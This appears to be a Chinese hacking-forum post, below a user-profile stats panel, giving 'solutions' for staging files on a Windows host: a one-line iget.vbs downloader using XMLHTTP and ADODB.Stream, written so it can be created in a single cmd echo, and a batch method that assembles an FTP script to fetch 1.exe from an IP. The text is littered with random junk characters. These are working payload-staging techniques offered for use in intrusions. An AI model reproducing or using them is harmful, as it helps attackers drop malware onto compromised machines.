- 在线时间
- 0 小时
- 最后登录
- 2007-9-23
- 注册时间
- 2004-9-10
- 听众数
- 3
- 收听数
- 0
- 能力
- 0 分
- 体力
- 9975 点
- 威望
- 7 点
- 阅读权限
- 150
- 积分
- 4048
- 相册
- 0
- 日志
- 0
- 记录
- 0
- 帖子
- 1893
- 主题
- 823
- 精华
- 2
- 分享
- 0
- 好友
- 0

我的地盘我做主
该用户从未签到
 |
< >解决办法: : {* C% y% t% }0 S
1.iget.vbs一次写入 ! a- z- U6 J# \2 T( @3 c7 x& E
在vbs语句的接触是符号是: 所以我们iget.vbs可以这样写
" ^, G: h1 |" R2 y1 ~' w4 O6 ~0 G4 P
2 H# v/ F8 ?# }Set x= CreateObject("Microsoft.XMLHTTP"):x.Open "GET",LCase(WScript.Arguments(0)),0:x.Send():Set s = CreateObject("ADODB.Stream"):s.Mode = 3:s.Type = 1:s.Open():s.Write(x.responseBody):s.SaveToFile LCase(WScript.Arguments(1)),2
. r; V, A- }% q4 Y9 ?
! U$ }2 C) s. g7 s/ f这样我们可以一次echo成功,echo版本:
4 U9 n# a( S* j' d( x) _5 `6 s; ~& o& g# ?- y& f0 l' T& f
echo Set x= CreateObject(^"Microsoft.XMLHTTP^"):x.Open ^"GET^",LCase(WScript.Arguments(0)),0:x.Send():Set s = CreateObject(^"ADODB.Stream^"):s.Mode = 3:s.Type = 1:s.Open():s.Write(x.responseBody):s.SaveToFile LCase(WScript.Arguments(1)),2 >iget.vbs
$ t; M: C( D* i* C* R
8 e$ I, }5 N" [8 z: j4 _8 r+ g3 a
" _; Z. l+ w- d/ z& o( ~+ T+ D2.bat调用ftp脚本的写法(by envymask) - {9 E5 r9 \5 w! w( `3 m1 A, V
' S. m8 y/ Q# c9 Aecho ftp>1.vbs
l- B3 z. E' z/ aecho open ip>2.vbs 8 X5 T+ d+ v( [7 \& v8 Z, G
echo u>3.vbs / @9 t* d* D, H6 p9 `
echo s>4.vbs & }7 y4 ?" Z% B7 U
echo binary>5.vbs 8 x' v) r6 Y' a2 B& h+ @
echo get 1.exe>6.vbs 6 w3 o. @0 N' E( x/ I! Y9 R1 [
echo bay>7.vbs ( U0 M9 m. c$ |8 e) O' k) j6 K. D* s
% z. v2 g; p7 M I. j* O8 c9 `* Ecopy 1.vbs+2.vbs+3.vbs+4.vbs+5.vbs+6.vbs+7.vbs new.vbs : g& `0 v9 f: P4 V
</P> |
zan
|